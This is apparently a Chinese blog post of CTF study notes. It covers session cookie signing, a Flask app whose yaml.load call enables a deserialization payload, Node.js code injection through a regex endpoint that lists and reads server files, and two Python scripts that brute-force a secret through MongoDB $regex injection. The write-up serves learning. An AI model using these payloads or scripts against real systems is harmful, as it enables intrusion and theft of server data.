end的学习(Session验证,Python yaml 反序列化,nodejs RCE)

Session验证用户登录

  1. 用户提交包含用户名和密码的表单,发送HTTP请求。

  2. 服务器验证用户发来的用户名密码。

  3. 如果正确则把当前用户名(通常是用户对象)存储到redis中,并生成它在redis中的ID。 这个ID称为Session ID,通过Session ID可以从Redis中取出对应的用户对象, 敏感数据(比如authed=true)都存储在这个用户对象中。

  4. 设置Cookie为sessionId=xxxxxx|checksum并发送HTTP响应, 仍然为每一项Cookie都设置签名。

  5. 用户收到HTTP响应后,便看不到任何敏感数据了。在此后的请求中发送该Cookie给服务器。

  6. 服务器收到此后的HTTP请求后,发现Cookie中有SessionID,进行防篡改验证。

  7. 如果通过了验证,根据该ID从Redis中取出对应的用户对象, 查看该对象的状态并继续执行业务逻辑。

防止篡改:
1,服务器有个秘密字符串,是 this_is_my_secret_and_fuck_you_all,我为用户 cookie 的
dotcom_user 字段设置了个值 alsotang。cookie 本应是{dotcom_user: ‘alsotang’}这样的。
2,我们签个名,比如把 dotcom_user 的值跟我的 secret_string
做个sha1sha1(‘this_is_my_secret_and_fuck_you_all’ + ‘alsotang’) ===
‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’。
3,cookie 变成这样{ dotcom_user: ‘alsotang’, ‘dotcom_user.sig’:
‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’, } 这样一来,用户就没法伪造信息了。一旦它更改了
cookie 中的信息,则服务器会发现 hash 校验的不一致。

Python yaml 反序列化

import yaml
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, make_response, Response
import flag

app = Flask(__name__)

EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}

@app.route("/")
def index():
    return render_template("index.html.jinja", active="home")


class Whale:
    def __init__(self, name, image_num, weight):
        self.name = name
        self.image_num = image_num
        self.weight = weight
    
    def dump(self):
        return yaml.dump(self.__dict__)


@app.route("/whale", methods=["GET", "POST"])
def whale():
    if request.method == "POST":
        name = request.form["name"]
        # 长度限制 10
        if len(name) > 10: 
            return make_response("Name to long. Whales can only understand names up to 10 chars", 400)
        image_num = request.form["image_num"]
        weight = request.form["weight"]
        whale = Whale(name, image_num, weight)
        
        # getflag 注意这里
        if whale.__dict__ == EASTER_WHALE:
            return make_response(flag.get_flag(), 200)
        
        return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200)
    return make_response(render_template("whale_builder.html.jinja", active="whale"), 200)


class Wheel:
    def __init__(self, name, image_num, diameter):
        self.name = name
        self.image_num = image_num
        self.diameter = diameter

    @staticmethod
    def from_configuration(config):
        return Wheel(**yaml.load(config, Loader=yaml.Loader))
    
    def dump(self):
        return yaml.dump(self.__dict__)


@app.route("/wheel", methods=["GET", "POST"])
def wheel():
    if request.method == "POST":
        if "config" in request.form:
            wheel = Wheel.from_configuration(request.form["config"])
            return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
        name = request.form["name"]
        image_num = request.form["image_num"]
        diameter = request.form["diameter"]
        wheel = Wheel(name, image_num, diameter)
        print(wheel.dump())
        return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
    return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

yaml.dump(data, Dumper=Dumper)

yaml.dump 函数接受一个 Python 对象并生成一个 YAML 文档。

yaml.load(stream, Loader=Loader)

yaml.load 函数将 YAML 文档转换为 Python 对象,返回一个 Python 对象。

yaml.load 接受一个字节字符串、一个 Unicode
字符串、一个打开的二进制文件对象或一个打开的文本文件对象。字节字符串或文件必须使用 utf-8、 utf-16-be 或 utf-16-le
编码进行编码。yaml.load 通过检查字符串/文件开头的 BOM (字节顺序标记) 序列来检测编码。如果没有提供 BOM,则假定采用
utf-8编码。

>>> yaml.load(u"""
... hello: Привет!
... """)    # In Python 3, do not use the 'u' prefix

{'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'}

>>> stream = file('document.yaml', 'r')    # 'document.yaml' contains a single YAML document.
>>> yaml.load(stream)
[...]    # A Python object corresponding to the document.

用从不可信来源接收的任何数据调用 yaml.load 是不安全的!yaml.load 和 pickle.load 一样强大,因此可以调用任何 Python 函数。

序列化一个对象传入 yaml.load ,而对应官方文档有:

!!python/object:module.Class { attribute: value, … } 任何可选对象都可以使用
!!python/object 进行序列化。 为了支持 pickle 协议,还提供了两种额外形式。
!!python/object/new:module.Class [argument, …]
!!python/object/apply:module.function [argument, …]

config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3}

nodejs RCE

判断 node 简便的方法有:

当访问一个不存在的路径时,会得到 node 错误 “ Can not GET/whatever” ,响应头部有 X-Powered-By:
Express ( Express 框架开发) 利用 Wappalyzer 之类的插件了解网站所用技术
利用 fetch 是否定义来判断该网站是运行在 node 上还是浏览器上的:“fetch is not defined” – we are running on node and not a web browser

Node.js简介:

Node.js 是一个开源与跨平台的 JavaScript 运行时环境。 它是一个可用于几乎任何项目的流行工具!

Node.js 在浏览器外运行 V8 JavaScript 引擎(Google Chrome 的内核)。 这使 Node.js
表现得非常出色。

Node.js 应用程序运行于单个进程中,无需为每个请求创建新的线程。 Node.js 在其标准库中提供了一组异步的 I/O
原生功能(用以防止 JavaScript 代码被阻塞),并且 Node.js
中的库通常是使用非阻塞的范式编写的(从而使阻塞行为成为例外而不是规范)。

当 Node.js 执行 I/O 操作时(例如从网络读取、访问数据库或文件系统),Node.js
会在响应返回时恢复操作,而不是阻塞线程并浪费 CPU 循环等待。

\w/gi);let a=10;return a;/
------
'123'.match(/\w/gi);let a=10;return a;//gi)
------
{ "result": 10 }

node 有 fs 模块用于对系统文件及目录进行读写操作,需要用 require(‘fs’) 来载入,但上下文里不一定有 require,require 并不是可以全局访问的。

process.mainModule 属性提供了一种获取 require.main 的替代方式,换言之,我们可以通过 process.mainModule.require(‘fs’) 来载入,然后通过 fs.readdirSync(path[, options]) 同步返回一个包含“指定目录下所有文件名称”的数组对象。

// test
\w/gi);
let files = []; 
const fs = process.mainModule.require('fs');
fs.readdirSync(".").forEach(file => files.push(file) ); 
return files;/
------
'123'.match(/\w/gi);let files = []; const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;//gi)
------
{ "result": [ ".dockerignore", "api.js", "csregex", "dist", "dockerfile", "index.js", "leftover.js", "node_modules", "package-lock.json", "package.json", "regexer.js", "requests.log", "simple-fs.js" ] }
// test
\w/gi);
const fs = process.mainModule.require('fs');
const data = fs.readFileSync('dockerfile', 'utf8');
return data;/
------
'123'.match(/\w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;//gi)

MongoBD 注入:

var sec = collection.findOne({id: secid});
import requests
import re

class Outloop(Exception):
    pass
try:
    for i in "0123456789abcdef":
        for j in "123456789abcdef0":
            for k in "23456789abcdef01":
                url = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^.{}{}{}".format(i, j, k)
                print("[i] Still looking for: "+i+j+k)
                response = requests.request("GET", url)
                if "CSR" in response.text:
                    print("[+] Flag: CSR"+re.search(r"CSR(.*)}",response.text)[1]+"}")
                    raise Outloop()
except Outloop:
    pass
#!/usr/bin/env
import requests as req
import time
import re
import queue
import hashlib

URL = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^"

# 查找 flag 的正则表达式
regex = r"-->(.*)<!--"

deadStarts = []

chars = "0123456789abcdef"

# 如果父节点有多个子节点
def parentHasMoreThanOneChildren(hash):
    l = len(hash) - 1
    if l < 0:
        return True

    url = URL + hash[:l] + '[^' + hash[l] + ']'
    
    r = req.get( url )
    if r.status_code == 404:
        return False

    return True

# 是否有子节点
def hasChild(hash):
    url = URL + hash

    r = req.get( url )
    if r.status_code == 404:
        return False

    return True

# 获取 secret
def getSecret(hash):
    url = URL + hash

    r = req.get( url )
    return re.search(regex, r.text)[1]

# 访问子节点判断是否有 flag
def visitChild(hash):
    print(hash, end=' ')
    if not parentHasMoreThanOneChildren(hash):
        secret = getSecret(hash)
        print( secret )
        if "csr" in secret.lower():
            exit()
        return

    print('')
    for c in chars:
        if hasChild( hash + c ):
            visitChild( hash +c )

# 这里设置的根节点为 6
visitChild( '6' )
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值